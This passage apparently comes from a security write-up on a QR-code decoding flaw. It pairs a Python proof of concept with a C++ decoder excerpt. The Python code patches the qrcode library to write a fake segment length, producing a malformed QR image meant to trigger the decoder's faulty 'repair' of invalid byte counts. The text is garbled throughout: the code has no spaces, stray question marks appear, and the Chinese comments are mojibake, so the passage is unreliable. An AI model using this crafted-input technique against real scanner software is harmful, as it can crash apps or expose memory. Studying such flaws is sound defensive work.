¡¡¡¡importqrcodefromqrcode.util import*defhack_put(self, num, len):ifnum==?0:num=?2?# faker length of hack_datafori inrange(len):self.put_bit(((num >>?(len?-?i -?1)) &?1)==?1)qrcode.util.BitBuffer.put=?hack_putqr=?qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_Q, mask_pattern=0)data=?"tested by InsBug".encode("utf-8")data +=?b' '?*?(22-len(data)-3)# 22 Ϊ 2-Q µÄ Total Number of Data Codewords for this Version and EC Level£¬-3 ÊÇÓÉÓÚģʽºÍ³¤¶ÈָʾÆ÷¹²Õ¼ÁË 24 룬ÕýºÃΪ 3Byte¡£user_data=QRData(data, MODE_8BIT_BYTE)hack_data=QRData(b'', MODE_8BIT_BYTE)qr.add_data(user_data)qr.add_data(hack_data)img=?qr.make_image()img.save("<filename>.png")
¡¡¡¡int?nBytes=?count;BitSource&?bits(*bits_);// Don't crash trying to read more bits than we have available.int?available=?bits.available();// try to repair count data if count data is invalidif(count *?8?>?available)?{count=?(available +?7?/?8);}ArrayRef<char>?bytes_(count);char*?readBytes=?&(*bytes_)[0];